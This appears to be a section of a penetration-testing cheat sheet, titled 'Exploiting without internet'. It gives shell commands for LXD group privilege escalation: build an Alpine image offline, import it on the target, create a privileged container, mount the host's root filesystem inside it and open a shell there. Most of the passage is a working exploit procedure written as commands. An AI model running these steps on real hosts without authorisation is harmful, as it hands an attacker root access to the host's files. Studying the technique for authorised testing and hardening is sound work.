## Exploiting without internet

You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
|
|
|
|
```bash
|
|
#Install requirements
|
|
sudo apt update
|
|
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
|
|
#Clone repo
|
|
go get -d -v github.com/lxc/distrobuilder
|
|
#Make distrobuilder
|
|
cd $HOME/go/src/github.com/lxc/distrobuilder
|
|
make
|
|
cd
|
|
#Prepare the creation of alpine
|
|
mkdir -p $HOME/ContainerImages/alpine/
|
|
cd $HOME/ContainerImages/alpine/
|
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|
#Create the container
|
|
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
|
|
```
|
|
|
|
Then, upload to the server the files **lxd.tar.xz** and **rootfs.squashfs**
|
|
|
|
Add the image:
|
|
|
|
```bash
|
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
|
lxc image list #You can see your new imported image
|
|
```
|
|
|
|
Create a container and add root path
|
|
|
|
```bash
|
|
lxc init alpine privesc -c security.privileged=true
|
|
lxc list #List containers
|
|
|
|
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
|
```
|
|
|
|
Execute the container:
|
|
|
|
```bash
|
|
lxc start privesc
|
|
lxc exec privesc /bin/sh
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|

```
